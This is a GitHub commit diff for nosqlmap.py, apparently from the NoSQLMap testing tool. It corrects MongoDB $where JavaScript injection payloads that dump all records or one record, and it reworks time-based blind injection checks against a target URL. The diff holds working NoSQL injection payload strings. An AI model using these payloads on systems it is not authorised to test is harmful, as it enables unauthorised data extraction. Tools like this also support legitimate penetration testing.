You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: nosqlmap.py
+32-25Lines changed: 32 additions & 25 deletions
Original file line number
Diff line number
Diff line change
@@ -29,6 +29,7 @@
29
29
importipcalc
30
30
importsignal
31
31
importast
32
+
importdatetime
32
33
fromhashlibimportmd5
33
34
34
35
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
@@ -199,6 +200,7 @@ def options():
199
200
httpMethod=raw_input("Select an option: ")
200
201
201
202
ifhttpMethod=="1":
203
+
httpMethod="GET"
202
204
print"GET request set"
203
205
optionSet[3] =True
204
206
options()
@@ -606,7 +608,7 @@ def postApps():
606
608
possAddrs.append(str(neDict))
607
609
#Delete the extra key
608
610
delpostData[injOpt+"[$ne]"]
609
-
postData.update({injOpt:"=a'; return db.a.find(); var dummy='!"})
611
+
postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
610
612
body=urllib.urlencode(postData)
611
613
req=urllib2.Request(appURL,body)
612
614
print"Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
@@ -633,7 +635,7 @@ def postApps():
633
635
possAddrs.append(str(postData))
634
636
635
637
print"\n"
636
-
postData.update({injOpt:"=1; return db.a.find(); var dummy=1"})
638
+
postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
637
639
body=urllib.urlencode(postData)
638
640
req=urllib2.Request(appURL,body)
639
641
print"Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
@@ -661,7 +663,7 @@ def postApps():
661
663
662
664
#Start a single record attack in case the app expects only one record back
663
665
664
-
postData.update({injOpt:"=a'; return db.a.findOne(); var dummy='!"})
666
+
postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
665
667
body=urllib.urlencode(postData)
666
668
req=urllib2.Request(appURL,body)
667
669
print"Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
@@ -688,7 +690,7 @@ def postApps():
688
690
possAddrs.append(str(postData))
689
691
690
692
print"\n"
691
-
postData.update({injOpt:"=1; return db.a.findOne(); var dummy=1"})
693
+
postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
692
694
body=urllib.urlencode(postData)
693
695
req=urllib2.Request(appURL,body)
694
696
print"Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
@@ -715,7 +717,7 @@ def postApps():
715
717
possAddrs.append(str(postData))
716
718
717
719
print"\n"
718
-
postData.update({injOpt:"=a'; return this.a != '"+injectString+"'; var dummy='!"})
720
+
postData.update({injOpt:"a'; return this.a != '"+injectString+"'; var dummy='!"})
719
721
body=urllib.urlencode(postData)
720
722
req=urllib2.Request(appURL,body)
721
723
@@ -741,7 +743,7 @@ def postApps():
741
743
possAddrs.append(str(postData))
742
744
743
745
print"\n"
744
-
postData.update({injOpt:"=1; return this.a != '"+injectString+"'; var dummy=1"})
746
+
postData.update({injOpt:"1; return this.a != '"+injectString+"'; var dummy=1"})
745
747
body=urllib.urlencode(postData)
746
748
req=urllib2.Request(appURL,body)
747
749
print"Testing Mongo this not equals integer escape attack for all records..."
@@ -770,43 +772,44 @@ def postApps():
770
772
771
773
ifdoTimeAttack=="y"ordoTimeAttack=="Y":
772
774
print"Starting Javascript string escape time based injection..."
773
-
start=time.time()
774
-
postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
775
+
postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
print"HTTP load time variance was "+str(strTimeDelta) +" seconds! Injection possible."
787
+
print"HTTP load time variance was "+str(strTimeDelta) +" seconds! Injection possible."
786
788
strTbAttack=True
787
789
788
790
else:
789
-
print"HTTP load time variance was only "+str(strTimeDelta) +"seconds. Injection probably didn't work."
791
+
print"HTTP load time variance was only "+str(strTimeDelta) +"seconds. Injection probably didn't work."
790
792
strTbAttack=False
791
793
792
794
print"Starting Javascript integer escape time based injection..."
793
-
start=time.time()
794
-
postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
795
+
796
+
postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
0 commit comments